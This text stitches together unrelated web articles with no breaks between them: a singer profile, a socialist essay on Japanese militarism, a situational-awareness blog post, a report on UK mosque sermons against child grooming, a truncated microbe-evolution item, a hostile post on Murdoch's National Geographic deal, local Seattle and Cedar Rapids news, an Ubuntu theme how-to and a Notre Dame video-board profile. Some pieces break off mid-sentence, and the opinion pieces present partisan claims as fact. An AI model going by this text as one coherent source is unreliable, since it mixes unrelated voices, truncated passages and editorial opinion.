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PhotoNatascha Nikeprelevic is known as one of the premier overtone singers in the world. She has perfected an ancient art of singing that is believed to have started among tribes in western Mongolia and southern Siberia. Originally, these tribes thought this type of singing could be used to communicate with both the natural and supernatural worlds. Overtone singing is a rare skill where singers create two notes simultaneously, resulting in a meditative, spiritual sound.
Nikeprelevic studied for six years at the Accademia Capraia in Italy and was later an instructor at the school, teaching overtone singing and extended vocal techniques. According to her website, Nikeprelevic has a busy international touring schedule and holds regular workshops and master classes in overtone singing throughout Europe, Asia, and Canada.
(H/T SoulSpot.tv)
Update: This article originally appeared on February 17, 2016.The revival of Japanese militarism
8 February 2014
Nearly seven decades after the end of World War II, the right-wing government of Prime Minister Shinzo Abe is rapidly remilitarising Japan, freeing its armed forces from any legal or constitutional constraints and revising history to whitewash the past crimes and atrocities of Japanese imperialism.
Abe has been engaged in an ideological offensive that was marked by his visit December 26 to the notorious Yasukuni Shrine to Japan’s war dead, including 14 convicted class A war criminals. The same month, he appointed four right-wing figures to the board of governors of Japan’s public broadcaster NHK in order to shift its political orientation.
The purpose of the appointments has quickly become apparent. In late January, the new NHK chairman, Katsuto Momii, triggered a public furore by justifying the systematic abuse of hundreds of thousands of women as sex slaves by the Imperial Army in the 1930s and 1940s. Momii apologised for expressing his private view in his role as chairman, but did not retract the remarks.
This week, another Abe appointee, Naoki Hyakuta, declared that the Rape of Nanking, one of the worst atrocities of the twentieth century, “never happened.”
In 1937, Japanese troops entered the city and over a period of weeks engaged in an orgy of rape, murder and destruction in which up to 300,000 Chinese civilians and soldiers were killed.
Yet Hyakuta claimed that the Nanking massacre was fabricated in order to cover up the crimes of the US in dropping atomic bombs on Hiroshima and Nagasaki. It is an argument that until now has been confined to extreme right-wing fringe groups. They justify the horrific crimes of Japanese imperialism in the 1930s and 1940s by pointing to those of US imperialism during World War II.
The denial of crimes on the scale of the Rape of Nanking has only one meaning—it is the ideological preparation for new wars and new atrocities.
The Japanese government is not alone. Five years after the eruption of the 2008 global financial crisis, capitalism is mired in economic slump and financial turmoil, fuelling inter-imperialist rivalries, neo-colonial interventions and diplomatic intrigues in every corner of the world.
It is no accident that as Abe is refurbishing Japanese militarism, the new grand coalition government in Germany is repudiating its previous policy of military restraint. Nor is the Japanese government the only one rewriting history. The British and Australian governments, among others, are seizing on the anniversary of World War I to glorify the bloodbath that claimed the lives of millions in the inter-imperialist struggle for colonies, markets and strategic dominance.
The chief destabilising factor in world politics is the eruption of US militarism. US-led neo-colonial interventions have devastated Afghanistan, Iraq, Libya and Syria. Now, in the name of Obama’s “pivot to Asia”, the US is engaged in an all-out diplomatic offensive to undermine China and encircle it militarily.
The Obama administration is responsible for encouraging Japan to take a more aggressive stand against China, creating a dangerous new flashpoint in the East China Sea—the disputed Senkaku/Diaoyu islands. Yesterday, US Secretary of State John Kerry met with his Japanese counterpart and affirmed again that Washington would back Tokyo in a war with Beijing over the rocky, uninhabited outcrops.
Having pressed Japan to remilitarise, the US has set political forces in motion that it does not control. The Abe government, while affirming the US-Japan alliance, is determined to defend the interests of Japanese imperialism.
Since coming to power in December 2012, Abe has boosted the military budget and established a National Security Council to concentrate foreign and defence policy in his hands. He is pushing to end constitutional restraints on the involvement of the armed forces in aggressive wars.
This revival of militarism is both to prosecute the interests of Japanese imperialism abroad and project outwards, against a foreign “enemy”, the tensions produced by the growing social crisis at home. Abe came to power promising to end two decades of deflation and economic stagnation. However, his “Abenomics” has proven to be a chimera, boosting share markets but failing to produce sustained growth.
Abe set out his agenda very clearly at the World Economic Forum at Davos last month. He made clear that Japanese imperialism was not about to relinquish its position as a leading power in Asia.
Dismissing those who described Japan as the “land of the setting sun”, Abe insisted that “a new dawn” was breaking. His portrayal of China as an aggressive new power comparable to Germany prior to World War I went hand-in-hand with an outline of pro-market restructuring designed to turn Japan into one of the “most business-friendly places in the world.”
There is no significant opposition in the Japanese political establishment to Abe’s rightward lurch to militarism. While voicing tepid criticisms of the government, the opposition Democratic Party of Japan, along with the Japanese Communist Party, fully backs Japan’s claims to the disputed islands in the East China Sea—the central issue in mounting tensions with China.
The working class, however, has a long history of opposition to Japanese militarism. The crimes of the wartime regime in the 1930s and 1940s were not confined to atrocities abroad such as the Nanking massacre. The Tokkō, or “thought police”, were as ruthless as the Nazi Gestapo in Germany in eliminating all forms of criticism or opposition, especially among workers. Abe’s recently enacted secrecy law provoked widespread opposition in Japan precisely because it recalled the 1925 Peace Preservation Law that greatly expanded the role of the Tokkō.
Abe’s provocative attacks on China, the comments by his NHK appointee denying the Rape of Nanking, and related developments constitute a sharp warning to workers and youth in Japan and every other country. The preparations for war are accompanied by a campaign of lies and jingoism that presages class war against the working class. Workers can halt the drive to war and the assault on their living standards and democratic rights only by unifying their struggles internationally on the basis of a socialist program to put an end to the bankrupt profit system.
Peter Symonds
Please enable JavaScript to view the comments powered by Disqus.Beyond the Military, A Bright Future for Situational Awareness Systems
Forecast & Outlook: The principles of ‘situational awareness’ based on perception, comprehensive and projection might soon support a wide range of applications that reach far beyond military operations and crisis response. It is a user and outcomes-centric systems approach that could integrate anticipated advances in mobility, ‘smart’ infrastructure, learning systems, policy-making and business intelligence.
Situational Awareness systems might have what it takes to create demand for integrating a wide range of emerging disruptive technologies that include: low cost sensors, IT architecture (network/virtualization), video, robotic vision, gaming, 3D/geospatial modeling, physical and virtual augmentation, autonomous systems, simulation software, location based service, social web lifestreams (by activity/sentiment), and expert software learning systems. Yes, this is a grab bag of buzzwords (forgive me!) but Situational Awareness (‘dashboard’) platforms will require significant integration to make it useful for users in a networked world.
Managing Expectations & Changing Assumptions:
From Pilots to Drivers to Politicians to Businesses to Learners
Situational awareness will certainly raise red flags of ‘Big & Little Brother‘ by professional and part time conspiracy theorists, but as it becomes more understood and applied by individuals, I believe it will cultivate our capacity for increased awareness, mindfulness, and focus in an age of information distraction. It will force learners to expand their collection of inputs, selectively identify their filters used in synthesizing and sense-making. And help to mainstream systems thinking and the imperative of understanding structure, relationships and feedback loops in a globally interdependent world.
Yes, this is my wishful thinking!! But we are in fact seeing a mainstream cultural transition between the ‘anonymous web‘ (Nobody knows I’m a dog!) and a more ‘social web‘ (‘Most people know I’m a dog)! Why shouldn’t web users continue to evolve alongside the web as it enters its next phase of being embedded inside the physical world?
To become as mainstream as today’s ‘social web‘ behavior and expectations, situational awareness (SA) systems will have to stretch beyond historical and current day applications that lead to potential confusion that it might be just a code word for advanced ‘surveillance’. And I am certain that more accessible concepts like ‘dashboards’ will emerge to properly frame and engage mainstream world!
Situational awareness is most commonly divided into three stages of awareness and behavior that allow us to see wider, deeper and further:
Level 1 – perception of elements, relationships and structure in a given environment
of elements, relationships and structure in a given environment Level 2 – comprehension of the real-time situation
of the real-time situation Level 3 – projection and anticipation of possible outcomes into the future
The historical SA paradigm of perception, comprehension and projection is most familiar to military pilots (“lose sight, lose fight“) engaged in training and combat based situations. In the recent years military leaders have extended SA approaches from pilot training to field troops navigating a combat theater of small networks distributed across remote rural regions and embedded inside challenging urban environments. SA principles have also been embraced by crisis response teams seeking to create an information architecture for relaying real-time information across a temporarily disabled system.
Situational Awareness is the ultimate user-focused experience layer for infrastructure assessment and utilization. Now what happens when we expand our definition of infrastructure to engage users and where might SA principles be applied? How might we imagine the positive decentralized benefits of situational awareness in non-military applications?
Six Areas to Explore:
Driving/’Connected Cars’ Political Transparency / ‘Civicware’ Geospatial / Real-time for Policy-making and Public Safety Infrastructure Management Learning Systems Business Intelligence
#1 ‘Connected Cars’, Smarter Drivers
The most likely near-term application of situation awareness systems will experienced inside our cars! Instead of engaging military pilots, we will engage civilian drivers to increase the safety and flow of our roadways!
Situational awareness software is likely to play a major role in the changing driver experience. Automakers are already beginning to integrate ‘sensing’ systems inside and outside vehicles based on sensors, radar, and video recognition that relay information to drivers and to other cars. In this future our cars are collecting data and relaying information that will help drivers make better decisions on congested roadways. This era of ‘connected cars’ is likely to make roads safer for drivers and pedestrians, and increase the flow of traffic on our highways. [Telematics examples: Ford Sync; GM OnStar; Kia UVO]
#2 Political Transparency / Civicware
Political transparency is a major driver of change in emerging economies and fledgling democracies. Civicware systems based on situational awareness allow us to gather real-time, onsite information based on a distributed network that is resilient to attack or centralized control. In this light, we can view the situational awareness role that Twitter played in Iran during political protests in 2009 as adding an SA layer of new inputs and on the scene conditions that could never had existed prior to the age of mobile social networks.
Another widely cited example of SA systems in political transparency is Ushahidi – an effort to build a mobile phone based infrastructure for ‘crowd-sourcing’ information that could prevent post election violence based on misinformation (e.g. groups rioting when in reality they are not!) The Ushahidi Engine allows anyone with a cell phone to gather and distribute real time situation information via SMS, email or web or view aggregated data on a map or timeline.
#3 Policy Making / Public Safety
Geospatial visualizations are an emerging platform for communicating information based on place. We can imagine a future in which social support services are based on a greater understanding of data sensed, synthesized, visualized and anticipated in communities afflicted by a wide range of events or socio-economic conditions.
In 2004 Christian Nold released an innovative map-based platform for gathering real-time information on emotional states. His ‘biomapping’ projects can reveal where people are happy, hungry, angry, fearful or sad. Imagine the public policy implications for supporting decision-making, policy analysis, and responses based on this bottom up data collection that can be conveyed on maps!
And let’s not forget about policies that support public safety and enforcement against violent crimes!
In recent years police agencies around the world have implemented gun location directional systems to help them gain real-time situational awareness in an area with detected gunfire. These stories are widely reported in the media, but what happens when there are ubiquitious sensors and mobile phone ‘apps’ that can create an open distributed infrastructure for safety. What happens when community members build their own layers of situational awareness?
What are the implications of lowering the cost of community safety oriented situational awareness systems?
#4 Smart Infrastructure Management
Situational Awareness is at the heart of emerging ‘smart’ infrastructure models that attempt to reveal real-time data and conditions within major infrastructure components for energy, transportation and water. This allows infrastructure operators and users to make better decisions in managing resources and anticipating potentially disruptive events. (e.g. electrical grid failures, peak demand, rush hour) [See PNNL Laboratory Situational Awarness for ‘smart grid’)
#5 Lifelong Formal and Informal Learning
Situational Awareness systems go beyond mere ‘sensing and anticipating’—and can be applied as a tool for learning how to improve our performance in responding to complex systems. SA systems that are user and outcomes centric might find a home in formal and informal learning applications!
Pilots will often train in mock environments to improve their ability to sense. Field troops will train in mock situations that teach them how to protect themselves in hostile environments.
But how might we apply staged-learning and/or scenario based learning to improve learners’ ability to reveal their mental models that guide their responses. How might SA layers expand our desire for more sensing inputs based on real-time information and a stronger understanding of structure, relationships and feedback loops within the environment?
#6 Business Intelligence and Capital Markets
What about the world of business? Both small and large companies are operating inside increasingly complex market environments that are fragmented and shaped by events and rapidly changing conditions (many of which are not currently measurable).
We can already see growth in enterprise solution markets for situational awareness systems such as ‘complex event processing’ and business intelligence ‘dashboards’ and decision support systems. Real-time market situational awareness might indeed offer the biggest return on investment for SA systems.
What is Beyond?
Situational Awareness principles will likely have to be re-framed and re-packaged before mainstream audiences are likely to embrace and adapt systems designed to increase our ability to perceive, comprehend and anticipate.
We are probably a 5-10 years away from mainstream market users understanding and demanding early stage SA capabilities in their everyday world. And 15-20 years away from more advanced systems and wider spread institutional adoption.
And I suspect transportation will be the first market followed by enterprise business intelligence applications.
So I suspect ‘situational awareness’ might be the next big thing for Tweeting web geeks and industry pundits… in 2018?!!
I suspect life in a world of ‘smart, connected’ devices will push SA to the forefront as a way of managing life in this ultra-connected landscape.
In the meantime, I will be looking for the positive applications of SA systems and the potential of a learning culture of systems thinking based on awareness, focus and foresight.
Image Credit: Eyes at Williams College by dbking (Thank you!)
Flickr Creative Commons License Attribution 2.0 Generic
Situational Awareness Resources to Explore: Notable Projects:
Papers / Academic
Knowledge Structures for Situational Awareness (Learner) http://www.dodccrp.org/events/2006_CCRTS/html/papers/220.pdf
Situation(al) Awareness (SA) in Effective Command and Control by Derek J. Smith http://www.smithsrisca.demon.co.uk/ http://www.smithsrisca.demon.co.uk/situational-awareness.html
An Approach to Collaborative Sensemaking Process http://www.dodccrp.org/events/11th_ICCRTS/html/papers/101.pdf
Inferring High-Level Behavior from Low-Level Sensors http://www.cs.rochester.edu/~kautz/papers/High-Level-140.pdf
The Knowledge Structure of the Commander in Asymmetric Battlefield: The Six Sights and Sensemaking Process http://www.dodccrp.org/events/2006_CCRTS/html/papers/220.pdf
USE OF TESTABLE RESPONSES FOR PERFORMANCE-BASED MEASUREMENT OF SITUATION AWARENESS http://web.mit.edu/aeroastro/www/labs/ASL/SA/sa.html
Companies
SA Technologies – http://www.satechnologies.com/
EchoStorm – http://www.echostorm.net/index.html
Logos Technologies – http://www.logostech.net/index.htm
Swarm Micro Aerial Vehicles – http://www.swarmsys.com/index.html
Raytheon Intelligence and Information Systems – http://www.raytheon.com/businesses/riis/
I’m looking for non-military situation awareness companies?!!! Any thoughts?Image caption The sermon against the sexual grooming of children was read out during Friday prayers
The sexual grooming of children has been condemned by Muslim leaders across the UK in a sermon read to thousands of worshippers.
Organisers Together Against Grooming (TAG) said imams at hundreds of mosques had pledged to read the sermon to congregations during Friday prayers.
The sermon highlighted how the Koran emphasised that Muslims must protect children and the vulnerable.
The policing minister Damian Green said it was a "very important" move.
"It reminds people that the vast majority, the overwhelming majority, of British Muslims, condemn child sexual abuse as strongly as any other group in modern Britain," he said.
Sheikh Ibrahim Mogra, an imam at Abu Bakr Mosque in Leicester, said: "People were troubled by us reading the sermon and one man asked me how he could stop it being read.
"He said 'it was not our fault this had happened, our religion does not teach us to do these things and we are condemning it'.
"But as I said to him our only option is to speak out about it."
Mr Mogra added the sermon's message was very clear "this is an evil against humanity" and he was "absolutely delighted with the response".
On Thursday, seven men who abused girls as part of a sadistic sex grooming ring based in Oxford were jailed for life at the Old Bailey. Two of the men were of east African origin and five of Pakistani origin.
'Disgraceful actions'
In the Lister Hill area of Bradford the Friday call to prayer was the same as usual. What was different at the Islam Bradford Centre was the sermon, or Khutbah, delivered by the imam. Aylas Karmani had a message to deliver about the street grooming of young vulnerable girls. It followed the jailing of men in Oxford and similar cases in Telford, Rochdale and Rotherham. Many of those involved were British Pakistanis. Today's sermon talked about Islam being a religion that protects women and children. Those who abused young girls were called evil. Nobody here said grooming is just a British-Pakistani or Muslim problem. The majority of child sex offenders are white but what organisers hoped was today would show a united front from Muslim communities around the country. Hundreds of mosques were asked to read out the sermon. Many will have done so, but what we don't know is if those who groom will listen.
The Muslim Council of Britain, the Mosque and Imams National Advisory Board and the Islamic Society of Britain all pledged to devote sermons to the issue of sexual grooming, said TAG, a not-for-profit organisation set up to tackle sexual grooming in the UK.
However, Monawar Hussain, founder of The Oxford Foundation, which runs educational programmes to promote religious and social harmony, said the sermon was a "fundamental error of judgement" that would play into the hands of far-right groups.
Mr Hussain, imam at Eton College, said: "Our view is that there is no Muslim on the face of this earth that does not already know that child sexual abuse is evil and wicked: this is normal standard teaching in most mosques.
"There is a terrible danger that far-right groups will point to this and say 'I told you so'."
The sermon, written by Alyas Karmani, an imam and youth worker in Keighley, West Yorkshire, opened with a quotation from the Koran forbidding "sexual indecency, wickedness and oppression of others".
These "disgraceful actions" must be wholeheartedly condemned, it added.
It finished with a call for action and reminds Muslims to speak out if they see any "evil action".
Mr Karmani said: "There's a profound disrespect culture when it comes to treating women. One of the reasons we feel this is the case is poor role models.
"Access to pornography, which also objectifies women, is creating a culture where men are now ambiguous when it comes to the issue of violence against women."
'Horrified'
Speaking before the sermon was read out at Friday prayers, Mr Karmani said it had been circulated in an effort to counter what he claimed was a taboo in mosques about talking about sex.
The sermon is the first phase of a "hard-hitting" campaign following a number of high-profile child grooming cases involving Asian men in Bradford, Oxford, Rochdale and Telford, said TAG spokesman Ansar Ali.
"We have been horrified by the details that have emerged from recent court cases and, as Muslims, we feel a natural responsibility to condemn and tackle this crime," said Mr Ali.
EXTRACT FROM SERMON We wholeheartedly condemn the disgraceful actions of those involved in these cases and welcome the convictions in the cases that have been through the courts. We wish to show our support for the victims of this terrible crime, many of whom are innocent children and we wish to affirm that Islam as a religion of mercy and compassion places a strong obligation on safeguarding and protecting the weak and vulnerable from oppression and abuse particularly of women and children. Full text of sermon
"Potentially on a Friday you've got hundreds of thousands of people walking into a mosque and you have their undivided attention, so what better medium to try and send a powerful message and raise awareness?"
While sexual grooming and child abuse affected all sections of society and was perpetrated by people of all ethnic groups, the Koran exhorted Muslims to "act against evil and injustice and create just societies", he added.
"We are united in our stand against sexual grooming and, as Muslims, we are leading the effort to rid society of this crime."
The Muslim Council of Britain said that, in conjunction with TAG, it had circulated a Khutbah (Friday sermon) to all affiliated mosques and Islamic centres addressing the issue of grooming.
'Beyond the mosque'
In a statement it said: "The sermon... raises awareness about what has recently been revealed of the horrific cases of abuse, condemns the behaviour and highlights teachings from the Koran, which obligates the safeguarding and protection of women and children."
Former Labour MP for Keighley Ann Cryer said she was "delighted" by the move, which she said showed the issue was being taken more seriously than in the past.
Ms Cryer said she was approached by mothers worried about grooming in 2002, and was frustrated when police, social services and mosque elders took no action.
"I just hope this message gets beyond the mosque to the non-attenders, because by and large the people who behave like this don't go to the mosque," she said.Random changes in microbes’ behavior can speed up evolution, a new study shows.
These shifts — called phenotype switches — can promote genetic mutations that help microbes better survive their environment, researchers report online January 19 at BioRxiv.org. Understanding how the microbes evolve is “particularly important for antibiotic resistance,” says study coauthor Bartlomiej Waclaw, a physicist at the University of Edinburgh.
Waclaw and colleagues used computer modeling to look at how |
Climate change denier Rupert Murdoch just bought National Geographic, which gives grants to scientists
The National Geographic magazine has been a nonprofit publication since inception in 1888, but that ends today. The long-running American publication becomes very much for-profit under a $725 million dollar deal announced today with 21st Century Fox, the entertainment company controlled by the family of Rupert Murdoch.
Murdoch is a notorious climate change denier, and his family's Fox media empire is the world's primary source of global warming misinformation. Which would be no big deal here, I guess, were it not for the fact that the National Geographic Society's mission includes giving grants to scientists.
Or had you forgotten? Here's a refresh for you, a fun little interview with Murdoch on his climate change views.
From today's deal coverage in WaPo:
The partnership, which will also include the National Geographic cable channel and the National Geographic Society’s other media assets, will be called National Geographic Partners. Fox will own 73 percent of the partnership, and Washington-based National Geographic Society will own the balance. Fox will pay $725 million to the Society for its stake in the partnership. This will push the Society’s endowment to more than $1 billion.
Let the “National Geographic Covers Designed by Rupert Murdoch” Photoshop Wars begin.
More coverage: New York Times, Variety.
20-year Nat Geo vet Declan Moore becomes CEO. Gary Knell, president-CEO of the Society, will serve as the first chairman. Buried in the press announcement:
“The value generated by this transaction, including the consistent and attractive revenue stream that National Geographic Partners will deliver, ensures that we will have greater resources for this work, which includes our grant making programs that support scientists and explorers around the world,” Knell said. “As media organizations work to meet the increasing demand for high quality storytelling across multiple platforms, it’s clear that the opportunity to grow by more closely aligning our branded content and licensing assets is the right path. We now will have the scale and reach to continue to fulfill our mission long into the future. The Society’s work will be the engine that feeds our content creation efforts, enabling us to share that work with even larger audiences and achieve more impact. It’s a virtuous cycle.”
So Rupert Murdoch will be to some large extent controlling a $1 billion organization whose stated mission includes giving grants to scientists.
Rupert Murdoch is a raging asshole, but he is also a very much on-the-record climate change denier. A climate change denier with now even more power and influence over science grants in the United States.SEATTLE -- More than 12 decades of Seattle Fire Department artifacts, memorabilia and antique trucks are in jeopardy.
The Last Resort Fire Department is the keeper of 125 years of Seattle fire history, but the Ballard nonprofit needs a lifeline.
"It's history. It's like an icon, like the Space Needle," said Galen Thomaier, Last Resort's collector and historian.
Tucked between two businesses on a Ballard side street, the site plays home to a treasure trove of Seattle Fire Department history. When the department's floor-to-ceiling sliding doors are open, onlookers can't help but be drawn in by the shiny red machines.
Packed in like sardines, the 12 relics from the past are like new again.
"This rig was purchased in 1913, along with two other ladder trucks. It's 101 years old this year," Thomaier said.
It's the oldest surviving motorized fire apparatus and, like each rig at Last Resort, it's fully restored and in working condition
"We do birthdays for little kids, we go to their house give kids a ride, we do weddings, retirements parties, funerals, memorial services, fire services, dedications, celebrations," Thomaier said.
For decades, the nonprofit has relied on donations to keep the rigs running and available to the public, but donations dwindled last year.
"We're not getting the donations coming in to survive, we almost closed the doors last year," Thomaier said.
And now the loss of a longstanding donor means the doors could soon close for good.
A 1927 Ahrens-Fox with a front mounted pump on display was the only pump that could push water to the top of the Smith Tower. The city's last wooden aerial, the Mack 1929, is also on display -- not to mention the hundreds of thousands of photos documenting those 125 years.
"These things drift away then all that's left are photos and memories, when people pass the memories are gone," Thomaier said
Thomaier and his father bought the fire station property in 1973 to build their antique firehouse with their own money. It was a last resort to preserve Seattle fire history, and now Thomaier hopes someone will be their last resort.
It takes about $40,000 a year to maintain and operate the facility. The Last Resort's Board meets in two weeks and hopes to come up with creative solutions to keep their antique fire trucks on the road and available to the public.
The Last Resort Fire Department also helps Seattle Fire run the Fire Department Museum in Pioneer Square.
More information about The Last Resort is available here.CEDAR RAPIDS — Construction is expected to begin shortly after next Friday’s groundbreaking for The Depot, a $20 million mixed use development behind the NewBo City Market.
Ahmann Companies Inc. is developing the four-building, 90,000-square-foot residential, office and retail complex on the 4.8-acre site of the former Iowa Iron Works plant in the 400 block of 12th Avenue SW.
“The Depot will bring people to the area who want to live, work and play within a walkable environment,” Chad Pelley of Ahmann Companies said in a news release. “We have had a tremendous amount of interest from businesses that want to relocate to the area, as well as individuals interested in living in the neighborhood.”
The buildings will be from three to five stories in height. Pelley said initial occupancy should be available in the spring or summer of 2016.
“We’ve been working with several groups that will bring 100-plus jobs to the neighborhood, and we hope to have the details finalized for an announcement soon,” said Joe Ahmann of Ahmann Companies.
The Cedar Rapids City Council approved a development plan with Ahmann Companies in November. The company purchased the city-owned former brownfield site and was provided a 10-year, 100 percent property tax break in a tax increment financing agreement.
The Depot is expected to start generating $450,000 a year in property tax revenue after the 10-year tax increment financing period ends.
Last week, the Cedar Rapids City Council conveyed to The Depot a piece of city-owned property from the former Iowa Iron Works site that has been leased to NewBo City Market for parking. The council also agreed to sell land to The Depot that now is a railroad corridor between the market and The Depot site, stretching between 10th and 12th avenues SE.
The Depot and NewBo City Market are entering into their own agreement on the sharing of parking.I am writing this article, as an How to for installing the Flat Theme, called Flatabulous for Ubuntu. This might work for other desktop environments, but I have only thoroughly tested it on Ubuntu Unity desktop.
The terminal
To install the theme, you must first install the Ubuntu tweak tool. It can be installed by simply running the command :
1. sudo add-apt-repository ppa:tualatrix/ppa 2. sudo apt-get update 3. sudo apt-get install ubuntu-tweak
or heading over to their website, downloading the.deb file (recommended).
Then, you can download the source to the theme here. If you are a developer or a designer, I also encourage you to contribute to it. Create a folder, called.theme in your home directory. This can be simply created by firing up your terminal, and then running
mkdir.themes
Now this is a hidden directory, to view this in Nautilus, you can press Ctrl/⌘ + H. Alternatively, youc an also place the extracted files in your /usr/share/themes/ folder.
Flat Icons
Dashboard
For Icons, I use the ultra-flat-icons theme. It is available in blue (recommended), orange and mint green colors. To install this, you can run the following commands
1. sudo add-apt-repository ppa:noobslab/icons 2. sudo apt-get update 3. sudo apt-get install ultra-flat-icons
Alternatively, you could also run sudo apt-get install ultra-flat-icons-orange OR sudo apt-get install ultra-flat-icons-green.
based on you color preference. I recommend these flat icons, but you can also look at Numix and Flattr.
Now press your super key, search for Ubuntu Tweak and fire it. Under the tweaks tab, there is an option for theme. Under that select the Flatabulous theme. Under the icon settings, select ultra-flat-icons. Restart your computer, and you should be good to go! You computer will look something like this after you restart.
Screenshots
Theme with Sublime Text 3 and JavaScript Code.
Another Preview of the home Screen
Nautilus
Settings MenuBy John Heisler
Maybe the most obvious of the new fan amenities at Notre Dame Stadium for 2017 is the video board at the south end of the field. At 56 by 94 feet, it's hard to miss.
Lesser known is Mike Bonner, the 44-year-old executive producer of live events for Fighting Irish Media who is responsible for producing and programming that board.
He might well qualify to star in one of those Dos Equis commercials as "the most interesting man in the world."
Given the novelty of video boards at Notre Dame, the first year of that item operating at Notre Dame Stadium makes Bonner, at least, holder of one of the more intriguing jobs at the University.
And it's part of a marriage more than a half-dozen years in the making.
Notre Dame absolutely qualifies as a neophyte in the video board business since this football season marks the first that Irish fans will look to the south end zone to see replays and other content. The University may well count as the last major-college program to add a board to its home facility--after decades when many Irish fans reveled in the minimalistic approach to football in South Bend (no advertising in the venue, simple diagonal stripes in the end zones and an old-school scoreboard with a Longines clock and little more than basic down-and-distance and score information).
All that changes in 2017, and Irish vice president and James E. Rohr director of athletics Jack Swarbrick, Bonner and other Notre Dame officials are confident Notre Dame Stadium can now deliver the state-of-the-art, in-game experience current tech-savvy fans expect. In Bonner's mind, that begins with the ability to show replays and lots of them. He'll have access to a dozen of the NBC Sports camera feeds plus nine of his own--with seven of those focused on game action.
"I can't stress that enough," says Bonner. "Replays, replays, replays.
"Notre Dame has all kinds of great traditions in football. Those are going to continue and now they are going to be enhanced by our ability to show them visually at a high production level."
There will be no advertising on the video board--a University philosophy already proven in concept via use of the video boards at Purcell Pavilion for basketball and volleyball and at the Compton Family Ice Arena for hockey. In effect, this is the PBS version in terms of approach.
The beginning of Notre Dame's video board experience in football goes back to 2009 when the Irish played their first Shamrock Series game in San Antonio against Washington State. For the first time Notre Dame, as the home team, had control and creative license of the in-game video fans would see.
The two corner boards at the Alamodome are only 24 by 32 feet, so their use does not dominate fans' vision. That changed the following year when the Irish and Army (in 2010 in another Shamrock Series outing) played at Yankee Stadium.
The primary board at Yankee Stadium stands 59 by 101 feet. Without doubt, it's a major part of the fan experience at any event at that venue. So Notre Dame officials clearly understood this would be an important test case to show they could make use of video assets at that event in a professional and appropriate manner.
The man in charge of the video boards at that game? It just happened to be Mike Bonner, then employed by the Yankees.
"Before he died (Yankees owner) Mr. (George) Steinbrenner was very big into college football and he liked Notre Dame and we knew he wanted this first attempt at football at the new Yankee Stadium to come off well," says Bonner.
"Since there wasn't a great deal of history in video board production or game production at Notre Dame, I made some suggestions. I said, `It'd be really great if we could do a pregame show. It'd be great if we can have cameras follow your players off the bus and out of the locker room. Notre Dame was great about saying, `Yeah, let's do it. Let's try this. Let's try that.'"
Born in Brooklyn, raised in northern New Jersey and a graduate of the University of Scranton, Bonner grew up a Notre Dame fan.
"I loved Notre Dame as a kid. Growing up where I did, you didn't have a lot of college football. And I'm Irish Catholic so you rooted for Notre Dame.
"So, when it came to that game in 2010 I really wanted to put on a good show. It was a prime-time game.
"I remember, (Notre Dame athletic administrators) Jim Fraleigh and Dan Skendzel telling me that Jack Swarbrick was going to come into the (production) booth at some point and so did (University president) Father John (Jenkins). I'd like to think the idea then from the Notre Dame end was, `Hey, this is Yankee Stadium. It's an iconic brand, you guys have a video board and you go about doing things the right way.' I had the impression that the Notre Dame people felt like some day, some time, they would have a video board in their football stadium."
Coming this fall... pic.twitter.com/PwsIiUXoWG -- Notre Dame Football (@NDFootball) July 13, 2017
Notre Dame won the game 27-10--and use of the video board at Yankee Stadium seemed well-received in University circles.
Adds Bonner, "At the end of the game, I remember someone suggesting, `You may have just helped us get a video board.' And I said, `Well, if you do, I'd be interested, so let's keep in touch.' And we did."
After working for the Yankees since 1999, Bonner left in 2013 for a similar position with the NFL Denver Broncos (with a video board 40 by 222 feet at Sports Authority Field at Mile High). He made sure people at Notre Dame knew he was working for a football team.
"If anything ever happened at Notre Dame, I thought that would make me a more attractive candidate," he says.
What then was known as the Campus Crossroads Project went live at Notre Dame, and ultimately a video board became part of the plans. Meanwhile, Bonner and the Broncos (with a little help from a guy named Peyton Manning) won the Super Bowl after the 2015 season. Bonner worked the 2016 Summer Olympic Games in Rio and by September he was on the job in South Bend.
"There were times last year when I would think, `Why am I here so early?' I was a video board guy without a video board," he says. "But, boy, I'm glad I was. I got a head start on making relationships. I got to experience Notre Dame football, to some extent, as a fan.
"I sat in the stands for multiple games and took notes. A play would happen on the field and I'd crank my neck to the left to look at the video board for a replay and then I'd say, `Oh, yeah, we don't have one.' I made a lot of observations and had lots of thoughts along the lines of, `We should do this and we should do that.' I had a chance to build a nice relationship with the football staff and Coach (Brian) Kelly and I'm looking forward to the season."
Bonner is confident his experience working for a brand like the Yankees will help him understand and be successful at Notre Dame.
"At both places there's a lot of history and maybe a little bit of a conservative nature. I never ran a `kiss-cam' at Yankee Stadium or in Denver--and I'm never going to run one here at Notre Dame," he says.
"I'm all about history and honoring tradition. It's about the pride people take in the brand. I often go back to when Derek Jeter talked about Joe DiMaggio saying, `I give my best every single game because it could be the first and only time that people are coming out to the stadium.' So we owe it to our fans and to people who come to our stadium, whether it's the first time or it's the 1,000th time, to put on an appropriate show.
"You're going to see appropriate football content. You're going to see video that gets our fans and players pumped up and is very highlight driven. You're going to find out more about some of the individuals we have playing on this team, the great things they do and the families they come from. We're doing a feature called `Irishography' that's all about, `Why Notre Dame?' Why is Notre Dame the right fit for Mike McGlinchey, Drue Tranquill or Josh Adams?
"I sat down over the summer with players for interviews and, again, we talk about appropriate content. We didn't ask questions about what cereal you eat and what brand of toothpaste you use. It was about why they love football, why they love Notre Dame--why they want to succeed in front of these fans and what that means to them."
Bonner begins with a game rundown that's constantly subject to change based on what's happening on the field. He will coordinate a 40-person staff that includes broadcast freelancers as well as Notre Dame staff and students.
"You let the play dictate what's happening--good and bad," he says. "When you score a touchdown you ride that moment. You show the replay a gazillion times. You show hero shots of the guy who scored. You let the band go crazy. You let the crowd go crazy.
"The job of game entertainment--it's very simple. It's to entertain, to inform and, now, because of social media, to engage. It's three simple philosophies."
Bonner will create the show based on his nine manned cameras, two of them wireless RF handheld cameras that can go into the stands, shoot crowd shots, engage the fans. The Diamond Vision board also includes graphic animation packages provided by ANC. The primary board features the most physical pixels in an NCAA outdoor venue.
"I sat down with Jack Swarbrick to work through all this. I sat with Coach Kelly. I've bounced ideas off administration. I've spoken to our marketing people and met with our band. I've met with people all over campus. We made sure we were covering all bases."
Longtime stadium public-address announcer Mike Collins will still call the game, but now many of the other announcements he made during timeouts and other breaks can be prepackaged video.
Bonner also understands musical selections are challenging since the fan base includes fans from age 4 to age 94:
"I'm bringing in a sports DJ that I've worked with in the past. He worked for me at the Broncos, he is working the August 20 event and then the Temple game and Georgia games. Part of his assignment is to educate and help train local DJs who have done this for other sports--so now they'll be able to carry it on for football.
